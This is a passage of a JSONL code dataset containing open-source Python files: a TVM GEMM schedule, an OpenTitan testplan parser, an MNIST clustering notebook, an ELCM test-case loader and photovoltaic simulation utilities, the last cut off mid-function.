cfg[\"work_group_x\"].val\n work_group_y = cfg[\"work_group_y\"].val\n k_unroll = cfg[\"unroll_k_factor\"].val\n\n if not batched:\n y_index, x_index = (0, 1)\n else:\n y_index, x_index = (1, 2)\n\n trans_inter, A_transposed_interleaved = transpose_interleave(\n s, A, cfg[\"A_interleave\"].val, y_index, x_index, [C], batched=batched\n )\n inter_trans, B_interleaved_transposed = interleave_transpose(\n s, B, cfg[\"B_interleave\"].val, y_index, x_index, [C], batched=batched\n )\n\n if schedule_transforms:\n # Schedule A\n y, x = s[trans_inter].op.axis\n y, x, yi, xi = s[trans_inter].tile(y, x, 1, 8)\n s[trans_inter].unroll(yi)\n s[trans_inter].unroll(xi)\n tile_and_bind(s, trans_inter, y, x, 1, 4)\n\n # Schedule B\n y, x = s[inter_trans].op.axis\n xo, xi = s[inter_trans].split(x, 4)\n s[inter_trans].vectorize(xi)\n tile_and_bind(s, inter_trans, y, xo, 4, 4)\n\n # Schedule C\n CR_A = s.cache_read(A_transposed_interleaved, \"local\", [C])\n CR_B = s.cache_read(B_interleaved_transposed, \"local\", [C])\n CW_C = s.cache_write(C, \"local\")\n\n if not batched:\n y, x = s[C].op.axis\n else:\n z, y, x = s[C].op.axis\n y, x, yt, xt = s[C].tile(y, x, block_size_y, block_size_x)\n s[C].unroll(yt)\n s[C].vectorize(xt)\n # Tile the global work space to generate 'square' warps -> 2x2 for warp size of 4\n y, x, wy, wx = s[C].tile(y, x, warp_size_y, warp_size_x)\n x = s[C].fuse(x, wy, wx)\n if not batched:\n yo, xo, yi, xi = tile_and_bind(s, C, y, x, work_group_y, work_group_x)\n else:\n # For batched GEMM bind batch to z axis\n zo, yo, xo, zi, yi, xi = tile_and_bind3d(s, C, z, y, x, 1, work_group_y, work_group_x)\n\n s[CW_C].compute_at(s[C], xi)\n if not batched:\n y, x = s[CW_C].op.axis\n else:\n _, y, x = s[CW_C].op.axis\n y, x, yt, xt = s[CW_C].tile(y, x, block_size_y, block_size_x)\n k = s[CW_C].op.reduce_axis[0]\n s[CW_C].reorder(k, yt, xt)\n ko, ki = s[CW_C].split(k, k_unroll)\n s[CW_C].unroll(ki)\n s[CW_C].unroll(yt)\n s[CW_C].unroll(xt)\n\n if not batched:\n i, j = s[CR_A].op.axis\n else:\n _, i, j = s[CR_A].op.axis\n s[CR_A].reorder(j, i)\n s[CR_A].compute_at(s[CW_C], ki)\n s[CR_A].unroll(j)\n s[CR_A].vectorize(i)\n\n if not batched:\n i, j = s[CR_B].op.axis\n else:\n _, i, j = s[CR_B].op.axis\n s[CR_B].compute_at(s[CW_C], ki)\n s[CR_B].unroll(i)\n s[CR_B].vectorize(j)\n\n return trans_inter, inter_trans\n\n\ndef schedule_unrollable_gemm(cfg, s, A, B, C, R):\n \"\"\"Schedule a GEMM that can be unrolled by a constant factor\n along its inner dimension\n\n Parameters\n ----------\n cfg : Config\n Schedule configuration\n\n s : tvm.te.schedule.Schedule\n Operator schedule\n\n A : tvm.te.Tensor\n 2D/3D Tensor, shape [n, k]/[b, n, k]\n\n B : tvm.te.Tensor\n 2D/3D Tensor, shape [k, m]/[b, k, m]\n\n C : tvm.te.Tensor\n 2D/3D Tensor, shape [n, m]/[b, n, m]\n\n R : tvm.te.Tensor\n 2D Tensor, shape [n, m]\n\n \"\"\"\n # If the GEMM is 2D, no unrolling has taken place\n # Use non-batched GEMM schedule and inline identity matrices A, B and R\n if len(C.op.axis) == 2:\n s[A].compute_inline()\n s[B].compute_inline()\n schedule_gemm(cfg, s, A, B, C)\n s[R].compute_inline()\n\n # GEMM is 3D, use batched GEMM schedule, inline A and B and schedule R\n else:\n s[A].compute_inline()\n s[B].compute_inline()\n schedule_gemm(cfg, s, A, B, C, batched=True)\n\n CR_C = s.cache_read(C, \"local\", [R])\n\n y, x = s[R].op.axis\n xo, xi = s[R].split(x, 4)\n k = s[R].op.reduce_axis[0]\n s[R].reorder(k, xi)\n ko, ki = s[R].split(k, 4)\n s[R].unroll(xi)\n s[R].unroll(ki)\n tile_and_bind(s, R, y, xo, 1, 2)\n\n s[CR_C].compute_at(s[R], ko)\n _, y, x = s[CR_C].op.axis\n s[CR_C].unroll(y)\n s[CR_C].vectorize(x)\n\n\ndef get_unrollable_gemm_ops(R):\n \"\"\"Get all GEMM operators from the final reduction\n This is a helper function to more easily get all the GEMM operations\n from an operator\n\n Parameters\n ----------\n R : tvm.te.Tensor\n Reduced tensor, final stage of GEMM\n\n Returns\n -------\n A_unrolled : tvm.te.Tensor\n Matrix A unrolled along k\n\n B_unrolled: tvm.te.Tensor\n Matrix B unrolled along k\n\n C : tvm.te.Tensor\n Result of batched GEMM\n\n R : tvm.te.Tensor\n Reduction of C, result of unrollable GEMM\n\n \"\"\"\n C = R.op.input_tensors[0]\n A_unrolled, B_unrolled = C.op.input_tensors\n return A_unrolled, B_unrolled, C, R\n", "source": "mwillsey/incubator-tvm", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n# Copyright lowRISC contributors.\n# Licensed under the Apache License, Version 2.0, see LICENSE for details.\n# SPDX-License-Identifier: Apache-2.0\nr\"\"\"Command-line tool to parse and process testplan Hjson into a data structure\n The data structure is used for expansion inline within DV plan documentation\n as well as for annotating the regression results.\n\"\"\"\nimport logging as log\nimport os\nimport sys\nfrom pathlib import PurePath\n\nimport hjson\nimport mistletoe\nfrom tabulate import tabulate\n\nfrom .class_defs import *\n\n\ndef parse_testplan(filename):\n '''Parse testplan Hjson file into a datastructure'''\n self_path = os.path.dirname(os.path.realpath(__file__))\n repo_root = os.path.abspath(os.path.join(self_path, os.pardir, os.pardir))\n\n name = \"\"\n imported_testplans = []\n substitutions = []\n obj = parse_hjson(filename)\n for key in obj.keys():\n if key == \"import_testplans\":\n imported_testplans = obj[key]\n elif key != \"entries\":\n if key == \"name\": name = obj[key]\n substitutions.append({key: obj[key]})\n for imported_testplan in imported_testplans:\n obj = merge_dicts(\n obj, parse_hjson(os.path.join(repo_root, imported_testplan)))\n\n testplan = Testplan(name=name)\n for entry in obj[\"entries\"]:\n if not TestplanEntry.is_valid_entry(entry): sys.exit(1)\n testplan_entry = TestplanEntry(name=entry[\"name\"],\n desc=entry[\"desc\"],\n milestone=entry[\"milestone\"],\n tests=entry[\"tests\"],\n substitutions=substitutions)\n testplan.add_entry(testplan_entry)\n testplan.sort()\n return testplan\n\n\ndef gen_html_indent(lvl):\n return \" \" * lvl\n\n\ndef gen_html_write_style(outbuf):\n outbuf.write(\"\\n\")\n\n\ndef gen_html_testplan_table(testplan, outbuf):\n '''generate HTML table from testplan with the following fields\n milestone, planned test name, description\n '''\n\n text = testplan.testplan_table(fmt=\"html\")\n text = text.replace(\"\", \"
\")\n gen_html_write_style(outbuf)\n outbuf.write(text)\n return\n\n\ndef gen_html_regr_results_table(testplan, regr_results, outbuf):\n '''map regr results to testplan and create a table with the following fields\n milestone, planned test name, actual written tests, pass/total\n '''\n text = \"# Regression Results\\n\"\n text += \"## Run on{}\\n\".format(regr_results[\"timestamp\"])\n text += \"### Test Results\\n\\n\"\n text += testplan.results_table(regr_results[\"test_results\"])\n if \"cov_results\" in regr_results.keys():\n text += \"\\n### Coverage Results\\n\\n\"\n cov_header = []\n cov_values = []\n for cov in regr_results[\"cov_results\"]:\n cov_header.append(cov[\"name\"])\n cov_values.append(str(cov[\"result\"]))\n colalign = ((\"center\", ) * len(cov_header))\n text += tabulate([cov_header, cov_values],\n headers=\"firstrow\",\n tablefmt=\"pipe\",\n colalign=colalign)\n text = mistletoe.markdown(text)\n text = text.replace(\"
\", \"
\")\n gen_html_write_style(outbuf)\n outbuf.write(text)\n return\n\n\ndef parse_regr_results(filename):\n obj = parse_hjson(filename)\n # TODO need additional syntax checks\n if not \"test_results\" in obj.keys():\n print(\"Error: key \\'test_results\\' not found\")\n sys, exit(1)\n return obj\n\n\ndef parse_hjson(filename):\n try:\n f = open(str(filename), 'rU')\n text = f.read()\n odict = hjson.loads(text)\n return odict\n except IOError:\n print('IO Error:', filename)\n raise SystemExit(sys.exc_info()[1])\n except hjson.scanner.HjsonDecodeError as e:\n print(\"Error: Unable to decode HJSON file %s: %s\" %\n (str(filename), str(e)))\n sys.exit(1)\n\n\ndef merge_dicts(list1, list2):\n '''merge 2 dicts into one\n\n This funciton takes 2 dicts as args list1 and list2. It recursively merges list2 into\n list1 and returns list1. The recursion happens when the the value of a key in both lists\n is a dict. If the values of the same key in both lists (at the same tree level) are of\n type str (or of dissimilar type) then there is a conflict, and and error is thrown.\n '''\n for key in list2.keys():\n if key in list1:\n if type(list1[key]) is list and type(list2[key]) is list:\n list1[key].extend(list2[key])\n elif type(list1[key]) is dict and type(list2[key]) is dict:\n list1[key] = merge_dicts(list1[key], list2[key])\n else:\n print(\"The type of value of key \", key, \"in list1: \", str(type(list1[key])), \\\n \" does not match the type of value in list2: \", str(type(list2[key])), \\\n \" or they are not of type list or dict. The two lists cannot be merged.\")\n sys.exit(1)\n else:\n list1[key] = list2[key]\n return list1\n\n\ndef gen_html(testplan_file, regr_results_file, outbuf):\n testplan = parse_testplan(os.path.abspath(testplan_file))\n if regr_results_file:\n regr_results = parse_regr_results(os.path.abspath(regr_results_file))\n gen_html_regr_results_table(testplan, regr_results, outbuf)\n else:\n gen_html_testplan_table(testplan, outbuf)\n outbuf.write('\\n')\n", "source": "labbott/opentitan", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[9]:\n\n\nfrom sklearn.datasets import fetch_openml\nimport numpy as np\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import DBSCAN\nimport pandas as pd\n\nimport pickle\n# measure execution time\nimport timeit\n\n\n# In[11]:\n\n\n# method used for saving object as pickle\ndef save_object_as_pickle(obj, filename):\n with open(filename, 'wb') as file:\n pickle.dump(obj, file, pickle.HIGHEST_PROTOCOL)\n\n\n# ### Load the data\n\n# In[2]:\n\n\nmnist = fetch_openml('mnist_784', version=1, as_frame=False) \nmnist.target = mnist.target.astype(np.uint8)\nX = mnist[\"data\"]\ny = mnist[\"target\"]\n\n\n# ### Clustering\n\n# In[6]:\n\n\ncluster_nums = [8,9,10,11,12]\nsilh_scores = []\n\n# Mesaure execution time\n# starttime = timeit.default_timer()\n# print(\"The start time is :\",starttime)\n\n\nfor k in cluster_nums:\n kmeans = KMeans(n_clusters=k, random_state=42)\n y_pred = kmeans.fit_predict(X)\n s_score = silhouette_score(X, kmeans.labels_)\n silh_scores.append(s_score)\n \n\nprint(\"Silhouette score list:\", silh_scores)\n\n# get execution time\n# print(f\"The time difference is : {0} seconds\").format(timeit.default_timer() - starttime)\n\n\n# In[57]:\n\n\nplt.plot(cluster_nums, silh_scores) \n\n\n# ### Save silhouette score list in pickle\n\n# In[59]:\n\n\nkmeans_sil_filename = \"kmeans_sil.pkl\"\n\nsave_object_as_pickle(silh_scores, kmeans_sil_filename)\n\n\n# ### Confusion matrix for 10 clusters Kmeans\n\n# In[33]:\n\n\nkmeans10 = KMeans(n_clusters=10, random_state=42)\ny_pred10 = kmeans10.fit_predict(X)\n\nconf_matrix10 = confusion_matrix(y, y_pred10)\n\n\n# In[34]:\n\n\nconf_matrix10 \n\n\n# #### 3.5 Find max value idx of each row\n\n# In[ ]:\n\n\nmax_val_idxs = []\nfor row in conf_matrix10:\n idx = np.argmax(row)\n max_val_idxs.append(idx)\n\n# without duplicates \nno_dupl_max_vals = set(max_val_idxs)\n# LIST should be saved (I forgot to do that...)\nto_be_saved = list(no_dupl_max_vals)\n\n\n# In[61]:\n\n\nno_dupl_max_vals\n\n\n# In[ ]:\n\n\n# this should be saved into kmeans_argmax.pkl file\nto_be_saved\n\n\n# Number for each row in matrix:
\n# 9 1 4 0 3(5) 0(3/8) 6(2) 5(3) 8 3(5)\n\n# ### Save numbers in pickle\n\n# In[66]:\n\n\nno_dupl_max_vals_filename = \"kmeans_argmax.pkl\"\n\n# save_object_as_pickle(no_dupl_max_vals, no_dupl_max_vals_filename)\n# correct way (list instead of set should be )\nsave_object_as_pickle(to_be_saved, no_dupl_max_vals_filename)\n\n\n# ### DBSCAN\n\n# In[5]:\n\n\nnorm_val = []\n\nfor i in range(300):\n for j in range(len(X)):\n if i == j:\n continue\n norm_val.append(np.linalg.norm(X[i] - X[j]))\n\n\n# In[18]:\n\n\n# norm_val_sorted = np.unique(np.sort(norm_val))\n# dist = norm_val_sorted[:10]\ndist = np.sort(norm_val)[:10]\nprint(dist)\n\n\n# ### Save distance list in pickle\n\n# In[19]:\n\n\ndist_filename = \"dist.pkl\"\n\nsave_object_as_pickle(dist, dist_filename)\n\n\n# ### Calculate mean distance\n\n# In[20]:\n\n\ns = dist[:3].mean()\ns\n# jest git, 526 wyszlo tez u innych\n\n\n# In[21]:\n\n\nprint(\"start \", s)\nprint(\"end \", s+0.1*s)\nprint(\"step \", 0.04*s)\ns_values = np.arange(s, s+0.1*s, step=0.04*s)\n\n\n# In[24]:\n\n\ns_values\n\n\n# In[36]:\n\n\ndbscan = DBSCAN(eps=315.8)\ndbscan.fit(X)\nunique = set(dbscan.labels_)\nprint(unique)\n\n\n# In[22]:\n\n\nunique_label_num = []\n\nfor epsilon in s_values:\n dbscan = DBSCAN(eps=epsilon)\n dbscan.fit(X)\n unique = set(dbscan.labels_)\n print(unique)\n unique_label_num.append(len(unique))\n\n\n# In[23]:\n\n\nunique_label_num\n\n\n# ### Save numbers in pickle\n\n# In[33]:\n\n\nuniq_label_name = \"dbscan_len.pkl\"\n\nsave_object_as_pickle(unique_label_num, uniq_label_name)\n\n\n# ## Check saved Pickles contents\n\n# In[34]:\n\n\n# check if pickles' contents are saved correctly\n\nprint(\"kmeans_sil\\n\", pd.read_pickle(\"kmeans_sil.pkl\"), \"\\n\")\nprint(\"kmeans_argmax\\n\", pd.read_pickle(\"kmeans_argmax.pkl\"), \"\\n\")\nprint(\"dist\\n\", pd.read_pickle(\"dist.pkl\"), \"\\n\")\nprint(\"dbscan_len\\n\", pd.read_pickle(\"dbscan_len.pkl\"))\n\n", "source": "YgLK/ML", "license": "MIT"} {"text": "from Helper import Level\nfrom .loader_base import Loader\nfrom ..action_information import ActionInformation\nfrom ..dashboard_panel import DashboardPanel\nfrom typing import Dict, List, Tuple\n\n\nclass TestCaseData:\n def __init__(self, data: Dict):\n # Shared keys\n self.AllKeys: List[str] = list(data.keys())\n self.Dashboard: (Dict | None) = data.pop('Dashboard', None)\n self.Standard: (bool | None) = data.pop('Standard', None)\n self.Custom: (List[str] | None) = data.pop('Custom', None)\n self.Distributed: bool = data.pop('Distributed', False)\n self.Parameters: Dict[str, Dict[str, str]] = data.pop('Parameters', {})\n\n # V2 only\n self.Name: (str | None) = data.pop('Name', None)\n self.Sequence: List[Dict] = data.pop('Sequence', [])\n\n\nclass TestCaseLoader(Loader):\n testCases: Dict[str, List[ActionInformation]] = {}\n extra: Dict[str, Dict[str, object]] = {}\n dashboards: Dict[str, List[DashboardPanel]] = {}\n parameters: Dict[str, Tuple[str, str]] = {} # For use only while processing data, not necessary afterwards\n\n @classmethod\n def getPanelList(cls, data: Dict) -> ([DashboardPanel], [(Level, str)]):\n validation = []\n panelList = []\n for panel in data:\n try:\n parsedPanel = DashboardPanel(panel)\n valid, error = parsedPanel.Validate()\n if not valid:\n validation.append((Level.ERROR, f'Could not validate panel (data={panel}) - {error}'))\n else:\n panelList.append(parsedPanel)\n except Exception as e:\n validation.append((Level.ERROR, f\"Unable to parse Dashboard Panel (data={panel}), ignored. {e}\"))\n\n validation.append((Level.DEBUG, f'Defined {len(panelList)} dashboard panels'))\n return panelList, validation\n\n @classmethod\n def handleExperimentType(cls, defs: TestCaseData) -> [(Level, str)]:\n validation = []\n if defs.Standard is None:\n defs.Standard = (defs.Custom is None)\n validation.append((Level.WARNING, f'Standard not defined, assuming {defs.Standard}. Keys: {defs.AllKeys}'))\n return validation\n\n @classmethod\n def createDashboard(cls, key: str, defs: TestCaseData) -> [(Level, str)]:\n validation = []\n if defs.Dashboard is not None:\n cls.dashboards[key], validation = cls.getPanelList(defs.Dashboard)\n return validation\n\n @classmethod\n def createExtra(cls, key: str, defs: TestCaseData):\n cls.extra[key] = {\n 'Standard': defs.Standard,\n 'PublicCustom': (defs.Custom is not None and len(defs.Custom) == 0),\n 'PrivateCustom': defs.Custom if defs.Custom is not None else [],\n 'Parameters': defs.Parameters,\n 'Distributed': defs.Distributed\n }\n\n @classmethod\n def validateParameters(cls, defs: TestCaseData) -> [(Level, str)]:\n validation = []\n for name, info in defs.Parameters.items():\n type, desc = (info['Type'], info['Description'])\n if name not in cls.parameters.keys():\n cls.parameters[name] = (type, desc)\n else:\n oldType, oldDesc = cls.parameters[name]\n if type != oldType or desc != oldDesc:\n validation.append(\n (Level.WARNING, f\"Redefined parameter '{name}' with different settings: \"\n f\"'{oldType}' - '{type}'; '{oldDesc}' - '{desc}'. \"\n f\"Cannot guarantee consistency.\"))\n return validation\n\n @classmethod\n def ProcessData(cls, data: Dict) -> [(Level, str)]:\n version = str(data.pop('Version', 1))\n\n match version:\n case '1': return cls.processV1Data(data)\n case '2': return cls.processV2Data(data)\n case _: raise RuntimeError(f\"Unknown testcase version '{version}'.\")\n\n @classmethod\n def processV1Data(cls, data: Dict) -> [(Level, str)]:\n validation = []\n defs = TestCaseData(data)\n\n if defs.Dashboard is None:\n validation.append((Level.WARNING, f'Dashboard not defined. Keys: {defs.AllKeys}'))\n\n validation.extend(\n cls.handleExperimentType(defs))\n\n keys = list(data.keys())\n\n if len(keys) > 1:\n validation.append((Level.ERROR, f'Multiple TestCases defined on a single file: {list(keys)}'))\n\n for key in keys:\n cls.testCases[key], v = cls.GetActionList(data[key])\n validation.extend(v)\n\n cls.createExtra(key, defs)\n\n validation.extend(\n cls.createDashboard(key, defs))\n\n validation.extend(\n cls.validateParameters(defs))\n\n return validation\n\n @classmethod\n def processV2Data(cls, data: Dict) -> [(Level, str)]:\n validation = []\n defs = TestCaseData(data)\n\n validation.extend(\n cls.handleExperimentType(defs))\n\n cls.testCases[defs.Name], v = cls.GetActionList(defs.Sequence)\n validation.extend(v)\n\n cls.createExtra(defs.Name, defs)\n\n validation.extend(\n cls.createDashboard(defs.Name, defs))\n\n validation.extend(\n cls.validateParameters(defs))\n\n return validation\n\n @classmethod\n def Clear(cls):\n cls.testCases = {}\n cls.extra = {}\n cls.dashboards = {}\n cls.parameters = {}\n\n @classmethod\n def GetCurrentTestCases(cls):\n return cls.testCases\n\n @classmethod\n def GetCurrentTestCaseExtras(cls):\n return cls.extra\n\n @classmethod\n def GetCurrentDashboards(cls):\n return cls.dashboards\n", "source": "EVOLVED-5G/ELCM", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 11 09:37:49 2018\nModified on 11/27/2018 to clean up comments\nModified Wed Dec 5 2018 (Fix Issue 2, Handle DC Loads)\nModified on 02/25/2019 for version 0.1.0\nModified on Wed 01/20/2021 to add computeOutputResults\n\n@author: Bob Hentz\n-------------------------------------------------------------------------------\n Name: PVUtilities.py\n Purpose: Define utilities found useful in building PV System Simulator \n Copyright: (c) Bob Hentz 2018\n License: GNU General Public License, version 3 (GPL-3.0)\n This program is distributed WITHOUT ANY WARRANTY;\n without even the implied warranty of MERCHANTABILITY\n or FITNESS FOR A PARTICULAR PURPOSE.\n -------------------------------------------------------------------------------\n\"\"\"\nimport numpy as np\nimport math\nimport pandas as pd\nimport os.path\nimport requests\nimport csv\nfrom urllib.request import urlopen\nfrom datetime import date\n\n\n\ndef dfcell_is_empty(cell_value):\n \"\"\" Return True if Dataframe cell contains NaN \"\"\"\n return np.isnan(cell_value)\n\ndef entry_is_empty(data):\n \"\"\" Tests for a null data field \"\"\"\n if data == None or data == \"\":\n return True\n return False\n\ndef eval_dfcell(cell_value):\n \"\"\" Returns None if cell is NaN else, the value \"\"\"\n if dfcell_is_empty(cell_value):\n return None\n return cell_value\n\ndef convert_string_to_hrs(info):\n \"\"\" Returns the Hour component of a time string \"\"\"\n st = info.find('T')+1\n tlist = info[st:].split(':')\n h = 0.0\n h += float(tlist[0])\n h += float(tlist[1])/60\n h += float(tlist[2])/3600\n return h\n\ndef convert_to_dec_hrs(time): \n \"\"\" Returns the decimal Hour for a time string of form HH:MM:SS.xxx \"\"\"\n h= time.hour*1.0\n h += time.minute/60.0\n h += time.second/3600.0\n return h\n\ndef month_timestamp(ts):\n \"\"\" Produces an Numpy Array of the Integer Month\n from a Panda DateTimeIndex Series \"\"\"\n k = list()\n for t in ts:\n k.append(t.month)\n return np.array(k)\n\ndef doy_timestamp(ts):\n \"\"\" Produces an Numpy Array of the Integer Day Of Year\n from a Panda DateTimeIndex Series \"\"\"\n k = list()\n for t in ts:\n k.append(t.dayofyear)\n return np.array(k)\n\ndef dom_timestamp(ts):\n \"\"\" Produces an Numpy Array of the Integer Day Of Month\n from a Panda DateTimeIndex Series \"\"\"\n k = list()\n mon = -1\n doy = -1\n dom = 0\n for t in ts:\n m = t.month\n if mon != m:\n dom = 1\n doy = t.dayofyear\n mon = m\n elif t.dayofyear != doy:\n dom += 1\n doy = t.dayofyear\n k.append(dom)\n return np.array(k)\n\ndef create_time_indices(tm_z):\n \"\"\" Create Base Dataframe indicies for use in running simulations \"\"\"\n now = date.today()\n baseyear = now.year-2\n if baseyear%4 == 0:\n # Don't use leap year\n baseyear -= 1\n st = '{0}0101T0000{1:+}'.format(baseyear, tm_z)\n nt = '{0}1231T2300{1:+}'.format(baseyear, tm_z)\n times = pd.date_range(start= st,\n end= nt,\n freq='H')\n\n months = month_timestamp(times).astype(int)\n days_of_year = doy_timestamp(times).astype(int)\n days_of_month = dom_timestamp(times).astype(int)\n timedf = pd.DataFrame({'Month':months,\n 'DayofYear': days_of_year,\n 'DayofMonth': days_of_month},\n index = times)\n\n return timedf\n\ndef hourly_load(times, load):\n \"\"\" Create a Data Frame of Hourly Load in Watts\"\"\"\n lngth = len(times)\n hlc = np.zeros((lngth, 3))\n for i in range(lngth):\n hlc[i, 0] = load['AC'].iloc[i%24]\n hlc[i, 1] = load['DC'].iloc[i%24]\n hlc[i, 2] = load['Total'].iloc[i%24]\n return pd.DataFrame(data=hlc, index=times, \n columns=['AC_Load', 'DC_Load', 'Total_Load'])\n \ndef hourly_temp(avT, maxT, minT, cur_t, rise_t, set_t, trans_t, offset= 2):\n \"\"\" Estimate hourly temperature for cur_t of day\n assumes, temp follows sine curve, with max temp at\n solar noon plus offset (typically 2hrs) \"\"\"\n ct = convert_string_to_hrs(cur_t)\n sunrise = convert_to_dec_hrs(rise_t)\n sunset = convert_to_dec_hrs(set_t)\n dur = convert_to_dec_hrs(set_t)\n pkhr = sunrise + 0.5*dur + offset\n d_tmp = maxT - minT\n z = avT + d_tmp*math.sin(2*np.pi*((ct-pkhr)/24))\n return z\n \ndef hourly_speed(avS, maxS, minS, cur_t, rise_t, set_t, trans_t, offset= 2):\n \"\"\" Estimate hourly temperature for cur_t of day\n assumes, temp follows sine curve, with max temp at\n solar noon plus offset (typically 2hrs) \"\"\" \n ct = convert_string_to_hrs(cur_t)\n sunrise = convert_to_dec_hrs(rise_t)\n sunset = convert_to_dec_hrs(set_t)\n dur = convert_to_dec_hrs(set_t)\n pkhr = sunrise + 0.5*dur + offset\n d_spd = (maxS - minS) \n return abs(avS - d_spd*math.sin(2*np.pi*(ct-pkhr)/24))\n \ndef read_resource(filename, dirptr):\n \"\"\" Method to retrieve data from the resources csv file and generate a \n Panadas Dataframe of the contents \"\"\"\n fn = os.path.join(dirptr, filename)\n return pd.read_csv(fn, index_col=0, skiprows=[1,2])\n \n\ndef read_web_resource(url, dirptr, filename):\n \"\"\" Method to retireve data from web url and create a file\n with filename within the designated dirptr \"\"\"\n fp = os.path.join(dirptr, filename)\n try:\n response = urlopen(url)\n cr = csv.reader(response.read().decode('utf-8'))\n return True\n except requests.exceptions.ConnectionError:\n return False\n\ndef build_monthly_summary(df, select_value):\n \"\"\" Summarizes df contents for select_value parameter\n over an entire year \"\"\" \n month_list = np.array(['Jan', 'Feb', 'Mar', 'Apr',\n 'May', 'Jun', 'Jul', 'Aug',\n 'Sep', 'Oct', 'Nov', 'Dec'])\n dat_list = np.zeros([12,5])\n for indx in range(12):\n smpl_df = df.loc[df['Month'] == indx+1]\n vals = smpl_df[select_value].groupby(smpl_df['DayofMonth']).sum()\n dat_list[indx][0] = vals.sum()\n dat_list[indx][1] = vals.mean()\n dat_list[indx][2] = vals.max()\n dat_list[indx][3] = vals.min()\n dat_list[indx][4] = len(smpl_df)/24\n rslt = pd.DataFrame(dat_list, month_list, \n columns=['Total {0}'.format(select_value), \n 'Avg {0}'.format(select_value), \n 'Best {0}'.format(select_value), \n 'Worst {0}'.format(select_value),\n 'Days' ])\n rslt.index.name= 'Months'\n return rslt\n\n\ndef build_monthly_performance(df, param):\n \"\"\" Using the dataframe df create Monthly Synopsis of\n system performance for selected param \n return 3 part tuple containing:\n resulting array, \n best day designator,\n worst day designator\n \"\"\"\n rslt = [] \n rslt.append( build_monthly_summary(df, param))\n rslt.append( find_best_doy(df, param))\n rslt.append( find_worst_doy(df, param))\n return rslt\n\ndef find_worst_doy(df, select_value):\n \"\"\" returns a day_of_year where select_value is a minimum \"\"\"\n rslt_df = df[select_value].groupby(df['DayofYear']).sum()\n mn = rslt_df.min()\n for indx in range(len(rslt_df)):\n if rslt_df.iloc[indx] == mn:\n return indx + 1\n raise IndexError('No worst day value found')\n \ndef find_best_doy(df, select_value):\n \"\"\" returns a day_of_year where select_value is a maximum \"\"\"\n rslt_df = df[select_value].groupby(df['DayofYear']).sum()\n mx = rslt_df.max()\n for indx in range(len(rslt_df)):\n if rslt_df.iloc[indx] == mx:\n return indx + 1\n raise IndexError('No best day value found')\n \ndef computOutputResults(attrb_dict, ArP, ArV, ArI, acLd, dcLd, wkDict):\n \"\"\"Computes the controlled Voltage & current output used to either power\n the load or charge/discharge a battery bank. Updates the\n battery bank and contents of wkDict based on results of computations\"\"\"\n \n \"\"\"## attrb_dict Contains the following elements: ###\n 'Bnk' - PVBattery Instance\n 'Inv' - PVInverter Instance\n 'Chg' - PVChgController Instance \n \"\"\"\n \n if attrb_dict['Inv'] != None and attrb_dict['Inv'].is_defined():\n invFlg = True\n else:\n invFlg = False\n if attrb_dict['Bnk'] != None and attrb_dict['Bnk'].is_defined():\n bnkFlg = True\n else:\n bnkFlg = False\n if attrb_dict['Chg'] != None and attrb_dict['Chg'].is_defined():\n chgFlg = True\n else:\n chgFlg = False\n \n if not chgFlg and not invFlg:\n # No Charge Controller or Inverter in System\n if dcLd > 0.0 and ArP >0.0:\n # Load to service\n if ArP > dcLd:\n wkDict['PO'] = dcLd\n else:\n wkDict['PO'] = ArP\n wkDict['DE'] = wkDict['PO']/ArP\n wkDict['PS'] = wkDict['PO']/dcLd\n else: \n #InternalFunction Variables:\n internal_parm = {\n 'stdbyPwr': (attrb_dict['Inv'].read_attrb('Pnt') if invFlg else 0 + #power draw for cntrlr/inverter units\n attrb_dict['Chg'].read_attrb('c_cnsmpt') if chgFlg else 0), \n 'eff': min([(attrb_dict['Inv'].read_attrb('Paco')/attrb_dict['Inv'].read_attrb('Pdco')) if invFlg else 1.0, \n (attrb_dict['Chg'].read_attrb('c_eff')/100) if chgFlg else 1.0]), #power conversion efficiency \n 'pvmxv': attrb_dict['Inv'].read_attrb('Vdcmax') if invFlg else attrb_dict['Chg'].read_attrb('c_pvmxv'), #maximum PV Voltage\n 'pvmxi': ((attrb_dict['Inv'].read_attrb('Pdco')/attrb_dict['Inv'].read_attrb('Vdco')) if invFlg \n else attrb_dict['Chg'].read_attrb('c_pvmxi')), #maximum PV Current\n 'VmxChg': attrb_dict['Inv'].read_attrb('Vdcmax') if invFlg else attrb_dict['Chg'].read_attrb('c_mvchg'), #Maximum Charge Voltage\n 'ImxDchg': attrb_dict['Inv'].read_attrb('Idcmax') if invFlg else attrb_dict['Chg'].read_attrb('c_midschg'), #Maximum Discharge Current\n 'cntlType': attrb_dict['Chg'].read_attrb('c_type') if chgFlg else 'MPPT' #Controller Type either MPPT or PWM\n }\n \n \n sysLd = internal_parm['stdbyPwr']\n totUsrLd = dcLd + acLd\n if invFlg:\n sysLd += attrb_dict['Inv'].compute_dc_power(acLd)\n sysLd = ((totUsrLd + sysLd)/internal_parm['eff']) - totUsrLd\n pload = totUsrLd + sysLd\n vout = min(ArV, internal_parm['pvmxv'])\n iout = min(ArI, internal_parm['pvmxi'])\n drain = ArP - pload*1.1\n #Test for Batbank and either charge state or ability to discharge\n if bnkFlg and (drain >= 0 or (drain <0 and attrb_dict['Bnk'].is_okay())):\n # A battery bank exists and it is usable for charging or discharging\n bv = attrb_dict['Bnk'].get_volts()\n if bv <= 0:\n bv = 1\n if drain >= 0:\n vout = min(vout, internal_parm['VmxChg'])\n bv = bv*1.2\n if internal_parm['cntlType'] == 'MPPT':\n iout = max(drain/vout, drain/bv) \n else: \n iout = min(drain/vout, drain/bv)\n \n else:\n # Discharge Battery state\n if abs(drain) <= attrb_dict['Bnk'].current_power():\n if vout == 0.0 or iout == 0.0:\n vout = bv\n iout = min(internal_parm['ImxDchg'], -drain/vout)\n iout= -1* iout\n else:\n # Bnk can't provide needed power\n if ArP < sysLd:\n msg = 'Insufficient Array & Bank power to sustain System operation'\n msg += '\\n {0:.2f} watts needed but only {1:.2f} watts generated'\n wkDict['Error'] = (msg.format(sysLd, ArP), 'Warning')\n else:\n iout = -1 * ((ArP-sysLd)/vout)\n #update Bank State\n attrb_dict['Bnk'].update_soc(iout, wkDict)\n if ArP - wkDict['BD'] -pload >= 0.0:\n 